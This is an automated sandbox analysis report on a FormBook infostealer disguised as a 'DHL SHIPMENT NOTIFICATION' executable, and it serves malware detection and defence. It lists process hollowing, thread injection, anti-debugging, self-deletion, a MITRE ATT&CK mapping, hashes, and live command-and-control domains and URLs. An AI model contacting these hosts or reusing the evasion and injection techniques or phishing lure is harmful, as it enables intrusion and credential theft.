Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030E14FB mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030A6CF0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030A6CF0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030A6CF0 mov eax, dword ptr fs:[00000030h]

Source: C:\Users\user\AppData\Local\Temp\aeokw.exe	Process queried: DebugPort
Source: C:\Windows\SysWOW64\svchost.exe	Process queried: DebugPort

Source: C:\Users\user\AppData\Local\Temp\aeokw.exe

Code function: 2_2_0040ACE0 LdrLoadDll,

Source: C:\Users\user\AppData\Local\Temp\aeokw.exe	Code function: 1_2_00D743CC SetUnhandledExceptionFilter,UnhandledExceptionFilter,
Source: C:\Users\user\AppData\Local\Temp\aeokw.exe	Code function: 1_2_00D7439B SetUnhandledExceptionFilter,
Source: C:\Users\user\AppData\Local\Temp\aeokw.exe	Code function: 2_2_00D743CC SetUnhandledExceptionFilter,UnhandledExceptionFilter,
Source: C:\Users\user\AppData\Local\Temp\aeokw.exe	Code function: 2_2_00D7439B SetUnhandledExceptionFilter,

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\explorer.exe	Network Connect: 23.227.38.74 80
Source: C:\Windows\explorer.exe	Domain query: www.ultrakill.xyz
Source: C:\Windows\explorer.exe	Network Connect: 3.64.163.50 80
Source: C:\Windows\explorer.exe	Network Connect: 142.250.185.115 80
Source: C:\Windows\explorer.exe	Domain query: www.rtpholywin99.com
Source: C:\Windows\explorer.exe	Domain query: www.keilaniclothing.com

Sample uses process hollowing technique

Source: C:\Users\user\AppData\Local\Temp\aeokw.exe

Section unmapped: C:\Windows\SysWOW64\svchost.exe base address: 2F0000

Maps a DLL or memory area into another process

Source: C:\Users\user\AppData\Local\Temp\aeokw.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write
Source: C:\Users\user\AppData\Local\Temp\aeokw.exe	Section loaded: unknown target: C:\Windows\SysWOW64\svchost.exe protection: execute and read and write
Source: C:\Users\user\AppData\Local\Temp\aeokw.exe	Section loaded: unknown target: C:\Windows\SysWOW64\svchost.exe protection: execute and read and write
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write

Queues an APC in another process (thread injection)

Source: C:\Users\user\AppData\Local\Temp\aeokw.exe

Thread APC queued: target process: C:\Windows\explorer.exe

Modifies the context of a thread in another process (thread injection)

Source: C:\Users\user\AppData\Local\Temp\aeokw.exe	Thread register set: target process: 3616
Source: C:\Windows\SysWOW64\svchost.exe	Thread register set: target process: 3616

Source: C:\Users\user\AppData\Local\Temp\aeokw.exe	Process created: C:\Users\user\AppData\Local\Temp\aeokw.exe C:\Users\user\AppData\Local\Temp\aeokw.exe C:\Users\user\AppData\Local\Temp\fnnok
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c del "C:\Users\user\AppData\Local\Temp\aeokw.exe"

Source: explorer.exe, 00000005.00000000.284344816.0000000000B50000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000005.00000000.290054860.0000000005E60000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.342712114.0000000000B50000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000005.00000000.299103436.00000000005C8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.284344816.0000000000B50000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000005.00000000.342712114.0000000000B50000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: explorer.exe, 00000005.00000000.284344816.0000000000B50000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000005.00000000.342712114.0000000000B50000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000005.00000000.263202422.0000000000B50000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Program Manager,
Source: explorer.exe, 00000005.00000000.284344816.0000000000B50000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000005.00000000.342712114.0000000000B50000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000005.00000000.263202422.0000000000B50000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock

Source: C:\Users\user\AppData\Local\Temp\aeokw.exe

Code function: 1_2_00D73283 cpuid

Source: C:\Users\user\AppData\Local\Temp\aeokw.exe

Code function: 1_2_00D73EC8 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

Source: C:\Users\user\Desktop\DHL SHIPMENT NOTIFICATION 1146789443.exe

Stealing of Sensitive Information

Yara detected FormBook

Source: Yara match	File source: 2.0.aeokw.exe.400000.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.aeokw.exe.12a0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.aeokw.exe.400000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.aeokw.exe.12a0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.aeokw.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.aeokw.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.aeokw.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.aeokw.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.aeokw.exe.400000.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000000.294568326.000000000E814000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.322163759.0000000000DD0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.322197992.0000000001100000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000000.256268925.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.321951084.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000000.310303298.000000000E814000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.513829968.0000000002E30000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.512812495.0000000002380000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.513722693.0000000002E00000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.258171974.00000000012A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000000.254937698.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY

Remote Access Functionality

Yara detected FormBook

Source: Yara match	File source: 2.0.aeokw.exe.400000.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.aeokw.exe.12a0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.aeokw.exe.400000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.aeokw.exe.12a0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.aeokw.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.aeokw.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.aeokw.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.aeokw.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.aeokw.exe.400000.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000000.294568326.000000000E814000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.322163759.0000000000DD0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.322197992.0000000001100000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000000.256268925.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.321951084.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000000.310303298.000000000E814000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.513829968.0000000002E30000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.512812495.0000000002380000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.513722693.0000000002E00000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.258171974.00000000012A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000000.254937698.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	1 Native API	Path Interception	1 Access Token Manipulation	1 Rootkit	1 Credential API Hooking	1 System Time Discovery	Remote Services	1 Credential API Hooking	Exfiltration Over Other Network Medium	1 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	1 System Shutdown/Reboot
Default Accounts	1 Shared Modules	Boot or Logon Initialization Scripts	512 Process Injection	2 Virtualization/Sandbox Evasion	LSASS Memory	151 Security Software Discovery	Remote Desktop Protocol	1 Archive Collected Data	Exfiltration Over Bluetooth	3 Ingress Tool Transfer	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	1 Access Token Manipulation	Security Account Manager	2 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	1 Clipboard Data	Automated Exfiltration	3 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	512 Process Injection	NTDS	2 Process Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	13 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 Remote System Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	3 Obfuscated Files or Information	Cached Domain Credentials	2 File and Directory Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	1 Software Packing	DCSync	114 System Information Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
DHL SHIPMENT NOTIFICATION 1146789443.exe	43%	Virustotal		Browse
DHL SHIPMENT NOTIFICATION 1146789443.exe	49%	ReversingLabs	Win32.Trojan.FormBook
DHL SHIPMENT NOTIFICATION 1146789443.exe	100%	Joe Sandbox ML

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

Source	Detection	Scanner	Label	Download
2.0.aeokw.exe.400000.8.unpack	100%	Avira	TR/Crypt.ZPACK.Gen	Download File
1.2.aeokw.exe.12a0000.1.unpack	100%	Avira	TR/Crypt.ZPACK.Gen	Download File
2.0.aeokw.exe.400000.6.unpack	100%	Avira	TR/Crypt.ZPACK.Gen	Download File
2.0.aeokw.exe.400000.4.unpack	100%	Avira	TR/Crypt.ZPACK.Gen	Download File
2.2.aeokw.exe.400000.0.unpack	100%	Avira	TR/Crypt.ZPACK.Gen	Download File

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://www.ultrakill.xyz/amdf/?oTsXW=bHtTbh8HU&9rF=2pnwrPnaayjLTa+dMDr3ioSS0RS/WyH1Gjote8OZi1oxTz0HZpyyfRSy0TFJ31yfLnqh	0%	Avira URL Cloud	safe
http://www.keilaniclothing.com/amdf/?9rF=/oFEaKse3b+9bUwDmBZBOOdpMJRIltPBO/GIVMmFEKpLcaQ5ll8yuFZgv1Udvzfmdn1m&oTsXW=bHtTbh8HU	0%	Avira URL Cloud	safe
http://www.ultrakill.xyz/	0%	Avira URL Cloud	safe
http://www.rtpholywin99.com/amdf/?oTsXW=bHtTbh8HU&9rF=Trmpqgljk9XuX6wxdqqXIm/y+wmhK8tfRywx+ln+mTz4pafXVdYl+/2RwiFK/8XcMfBx	100%	Avira URL Cloud	malware
www.lgf7.com/amdf/	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
ghs.google.com	142.250.185.115	true	false	high
www.ultrakill.xyz	3.64.163.50	true	true	unknown
shops.myshopify.com	23.227.38.74	true	true	unknown
www.rtpholywin99.com	unknown	unknown	true	unknown
www.keilaniclothing.com	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://www.ultrakill.xyz/amdf/?oTsXW=bHtTbh8HU&9rF=2pnwrPnaayjLTa+dMDr3ioSS0RS/WyH1Gjote8OZi1oxTz0HZpyyfRSy0TFJ31yfLnqh	true	Avira URL Cloud: safe	unknown
http://www.keilaniclothing.com/amdf/?9rF=/oFEaKse3b+9bUwDmBZBOOdpMJRIltPBO/GIVMmFEKpLcaQ5ll8yuFZgv1Udvzfmdn1m&oTsXW=bHtTbh8HU	true	Avira URL Cloud: safe	unknown
http://www.rtpholywin99.com/amdf/?oTsXW=bHtTbh8HU&9rF=Trmpqgljk9XuX6wxdqqXIm/y+wmhK8tfRywx+ln+mTz4pafXVdYl+/2RwiFK/8XcMfBx	false	Avira URL Cloud: malware	unknown
www.lgf7.com/amdf/	true	Avira URL Cloud: malware	low

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.ultrakill.xyz/	svchost.exe, 00000011.00000002.515898561.0000000003A1F000.00000004.10000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://nsis.sf.net/NSIS_ErrorError	DHL SHIPMENT NOTIFICATION 1146789443.exe	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
23.227.38.74	shops.myshopify.com	Canada	13335	CLOUDFLARENETUS	true
3.64.163.50	www.ultrakill.xyz	United States	16509	AMAZON-02US	true
142.250.185.115	ghs.google.com	United States	15169	GOOGLEUS	false

General Information

Joe Sandbox Version:	34.0.0 Boulder Opal
Analysis ID:	626119
Start date and time: 13/05/202216:08:11	2022-05-13 16:08:11 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 8m 58s
Hypervisor based Inspection enabled:	false
Report type:	light
Sample file name:	DHL SHIPMENT NOTIFICATION 1146789443.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	25
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	1
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@9/4@3/3
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 59.5% (good quality ratio 54.6%) Quality average: 75.6% Quality standard deviation: 31.3%
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .exe Adjust boot time Enable AMSI

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, BackgroundTransferHost.exe, backgroundTaskHost.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded domains from analysis (whitelisted): fs.microsoft.com, store-images.s-microsoft.com, login.live.com, img-prod-cms-rt-microsoft-com.akamaized.net, arc.msn.com
Not all processes where analyzed, report is missing behavior information

Process:	C:\Users\user\Desktop\DHL SHIPMENT NOTIFICATION 1146789443.exe
File Type:	data
Category:	dropped
Size (bytes):	189439
Entropy (8bit):	7.991246452644623
Encrypted:	true
SSDEEP:	3072:nSqfxKHsiwZNRIuqSFpjwuq/D7YfJs8N8p321SwWvM0rscdXjQ4sHnOBfoXdpz4O:nxfxAwWS39q6JsM8U1dWvo+XjZ6dpz8I
MD5:	5C1283288CC16D3EAAFFF3A0C53CB189
SHA1:	15804A12C0184AC1F12B053B9640326E1D865F92
SHA-256:	321FDA60076CDB1D552492333599861F583B01A2F3774F84B3991EE58036AE4F
SHA-512:	A7FD921DEC02CFFD94AF98CCC8964FEE343BF22DD541939685E85955AC6CC14EEAF661438DFD8B4F45B1852259C98C8BA153D322760F0D033C761B7382A32B9D
Malicious:	false
Reputation:	low
Preview:	.y.oJ_.....{.:./..i.I..i..,\|..-..A<...-..VK].M...,....R{._\.D....o...L....Gs.. ..S[..n~.]..?..G...t.X....I.)O..B..P,<.;=..:lj.\*(......C..?.5..>}+.]...WU....\|4..a...T.".d....8G9(<.#9...X.......Q.+...%.v..d......z.-.y...<...%c"^.:...=...7..EGE.Z....._..S...2(...i.........Sm.-..A<J..-..V.].M...0....R{._\....... ^..XY..Q...J..5p..W..:.L..qPx....Z.4p.X.'Y.P,<.;=&.....w...-..[L......6q+l\|.il..p...Z.;.\....".d.....Zs.#.#96.X....#.HwQU+...%.n.M..'.s}ob.-.y...<.B]%cF^.:..=..7..EG..Z..H.._...S...2(.E.i.........S..-..A<...-..VK].M...,....R{._\....... ^..XY..Q...J..5p..W..:.L..qPx....Z.4p.X.'Y.P,<.;=&.....w...-..[L......6q+l\|.il..p...Z.;.\....".d....8G9(<.#9#..X....#z.wQ.+...%.n.M..'..}oz.-.y...<.B]%cF^.:..=..7..EG..Z..H.._...S...2(.E.i.........S..-..A<...-..VK].M...,....R{._\....... ^..XY..Q...J..5p..W..:.L..qPx....Z.4p.X.'Y.P,<.;=&.....w...-..[L......6q+l\|.il..p...Z.;.\....".d....8G9(<.#9#..X....#z.wQ.+...%.n.M..'..}oz.-.y...<

C:\Users\user\AppData\Local\Temp\aeokw.exe

Download File

Process:	C:\Users\user\Desktop\DHL SHIPMENT NOTIFICATION 1146789443.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80384
Entropy (8bit):	6.294435627366989
Encrypted:	false
SSDEEP:	1536:GuTaC+v1M4fr0oxAomP3cX/4pi2sWjcdxpI:Pa524D1/ui5xy
MD5:	6F70881E0183CE9F78E300CF2C8DC48E
SHA1:	D2D766CB5654AA367682C41FBC177A146D047D2C
SHA-256:	D3AFB887DFF82AA5A52C4AD2008DAC9126B854EA2E3EFC729AB27CFAFABA39C2
SHA-512:	6C5FE5B2A594606B26E5E4D2E05995EB39CC25C0B461AD2882503D45E7705524A6EA9A2E99CB76FB2FFFC0DD992AE1F43153C29ED3E5B98ED68F85EF74807208
Malicious:	true
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........w...w...w...%`..w...%^..w...%a.w......w...w..w..p....w..p.~..w..p....w..Rich.w..................PE..L...+.}b............................7.............@.......................................@..................................$.......p..................................T...............................@............................................text...U........................... ..`.rdata...N.......P..................@..@.data... 1...0......................@....rsrc........p.......*..............@..@.reloc...............,..............@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\fnnok

Download File

Process:	C:\Users\user\Desktop\DHL SHIPMENT NOTIFICATION 1146789443.exe
File Type:	data
Category:	dropped
Size (bytes):	4986
Entropy (8bit):	6.153505769820207
Encrypted:	false
SSDEEP:	96:2JQ3L3rEeKzJzFuuvSKQZ8LFVmhJMYLX2lGNfvw7w4Ihl4FELbgTht7:3wnthuuKKGIchJMYLX2lGSIhl4egThp
MD5:	F10D9B65FF4DE8235C81704DF991DD2A
SHA1:	543635DE72F333E9CF19CBA7B0DE572C33AB0E43
SHA-256:	E9A70DEEF4CDAD4801C117EA5FAF227EFF7026ADBADF19FCC1DEA95674A8E3A0
SHA-512:	237666835BF885924CFDF5955F6D1583269EE070C9A69EA3835C06A1C60EDDAEC8A19265CB1ED13035F44E335D161B22B0266D1F0F8855E6C0996E425699BD61
Malicious:	false
Reputation:	low
Preview:	.5911.....q.....!1@..@Dv.@..@Dv...)1.v-Y111..%10.=0.A.v)..,111.v....0.=0.A.v)...111.v....0.=0.A.v)...111.v....0.=0.A.v)...111.v....A5.k.9...44v=.v.....vA..5d..v..~..v..~-.5.d..A.(".v.4.-.5.v-....%..!.d.1111.5U6.\.-0...0...0..r.0..r.0...0....'.A.y.=(.y.}%Q..2.!0..r..v9@6.v!4.-.1111.uU5T111.5U>...%...v!.....=1.....@..@Dv).v9.1lv=.Q.v9.1.~A.E.u.5..).v-.v9.1q.~9.2.v)..-..=1.G+....311..311.E1..0....311..311.91.>....311.u311.91.....Y@..@Dv..v)A111.v..v-..)1.G.v-.11.v-q.v-.v)y.v)...y611..w.v9.9...1.u>...>..v..9...1.u>...>..3.9...1.u6....0....211....00.v%.@.v..0.9.{000.v%..%1.7..!1.8.v!2111.v!..51.....q@..@Dv..v)Y111.v.v-..)1.G.v-.11.v-q.v-.v)y.v)....511..@..111.v9.9...1.u>.>..v=.9...1.u>.>..vA.9....u>.>..vEd..9...4.uF.}F..v..9...3.u>.>..6.9...1.u6.G+....111...-00.v%..I1.9.v..~I.2.H0.I0.E0.A0.=0.9.j/00.v%..%1.7..!1.8.v!2111.v!..E1.....M.v)A111.v..v-..)1.G.v-.11.v-q.v-.v)y.v)....411..w.v9.9...1.u>...>..v=.9...1.u>...>..3.9...1.u6...>...V111..]-00.v%.?0.=0.9...0

C:\Users\user\AppData\Local\Temp\nsk2671.tmp

Download File

Process:	C:\Users\user\Desktop\DHL SHIPMENT NOTIFICATION 1146789443.exe
File Type:	data
Category:	dropped
Size (bytes):	289971
Entropy (8bit):	7.540713997849172
Encrypted:	false
SSDEEP:	6144:JxfxAwWS39q6JsM8U1dWvo+XjZ6dpz89BY2LZwAOuu28u:J/UQlr8sdijQD89LZwSu2J
MD5:	CD439B40B1EE8F92D024EE3F27772BB3
SHA1:	8276D5F64B59E97CC2A965B11634FB5CA6454548
SHA-256:	7DF3145A379DFF6BAE9572B07B4F208AF2ECEA35457A79E3AF440C6C254E3A11
SHA-512:	054AD8E0CC4501E02E9FDA325A0DC0C6B0807E8D7C8331D6B0D04C31BC0F7D796E6651F1F006FD8020061886E0882FB8F953A9A1C84AB0D48F8B021654D7D116
Malicious:	false
Reputation:	low
Preview:	*;......,................"..k....-......L:.......;..........................................................................................................................................................................................................................................G...............7...j.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Entropy (8bit):	7.915673728517711
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	DHL SHIPMENT NOTIFICATION 1146789443.exe
File size:	278331
MD5:	8fbdf9f70b21179d87b83fe47b2137dd
SHA1:	146eebe16adad9486cac66f4574810cec1f56cbb
SHA256:	972bc525f6be5f7281a72ec4887cc5b85f4b064463bba234f1258c967b164026
SHA512:	4677bcdcaf115ff555b04d00db60fcd12a02be178a95e401bcbccf4130e347fcc315579fa72f7055f490009fcaf3bb4c14cc119432ff1b89756f6f6d5ec62abe
SSDEEP:	6144:LOtIO6psx/OTz8giqoW/rOiY8FWB55z44pvVwVlTc7:LOL4sBOTYgjFyGcB5h9pcE
TLSH:	A44412053A44D43BFD3722734E3766738E6E471442B94B1BB3E126257E719C2AB1EB81
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........!`G.@...@...@../OQ..@...@..I@../OS..@...c>..@..+F...@..Rich.@..........................PE..L.....Oa.................h....:....

File Icon


Icon Hash:	b2a88c96b2ca6a72

Static PE Info

General

Entrypoint:	0x403646
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED
DLL Characteristics:	NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0x614F9AA9 [Sat Sep 25 21:54:49 2021 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	61259b55b8912888e90f516ca08dc514

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
sub esp, 000003F4h
push ebx
push esi
push edi
push 00000020h
pop edi
xor ebx, ebx
push 00008001h
mov dword ptr [ebp-14h], ebx
mov dword ptr [ebp-04h], 0040A230h
mov dword ptr [ebp-10h], ebx
call dword ptr [004080C8h]
mov esi, dword ptr [004080CCh]
lea eax, dword ptr [ebp-00000140h]
push eax
mov dword ptr [ebp-0000012Ch], ebx
mov dword ptr [ebp-2Ch], ebx
mov dword ptr [ebp-28h], ebx
mov dword ptr [ebp-00000140h], 0000011Ch
call esi
test eax, eax
jne 00007F1EB8BBA36Ah
lea eax, dword ptr [ebp-00000140h]
mov dword ptr [ebp-00000140h], 00000114h
push eax
call esi
mov ax, word ptr [ebp-0000012Ch]
mov ecx, dword ptr [ebp-00000112h]
sub ax, 00000053h
add ecx, FFFFFFD0h
neg ax
sbb eax, eax
mov byte ptr [ebp-26h], 00000004h
not eax
and eax, ecx
mov word ptr [ebp-2Ch], ax
cmp dword ptr [ebp-0000013Ch], 0Ah
jnc 00007F1EB8BBA33Ah
and word ptr [ebp-00000132h], 0000h
mov eax, dword ptr [ebp-00000134h]
movzx ecx, byte ptr [ebp-00000138h]
mov dword ptr [007A8B58h], eax
xor eax, eax
mov ah, byte ptr [ebp-0000013Ch]
movzx eax, ax
or eax, ecx
xor ecx, ecx
mov ch, byte ptr [ebp-2Ch]
movzx ecx, cx
shl eax, 10h
or eax, ecx

Rich Headers

Programming Language:

[EXP] VC++ 6.0 SP5 build 8804

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x8504	0xa0	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x3b9000	0xa50	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x8000	0x2b0	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x67c4	0x6800	False	0.675180288462	data	6.49518266675	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rdata	0x8000	0x139a	0x1400	False	0.4498046875	data	5.14106681717	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xa000	0x39ebb8	0x600	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.ndata	0x3a9000	0x10000	0x0	False	0	empty	0.0	IMAGE_SCN_MEM_WRITE, IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x3b9000	0xa50	0xc00	False	0.401692708333	data	4.18753619353	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_ICON	0x3b9190	0x2e8	data	English	United States
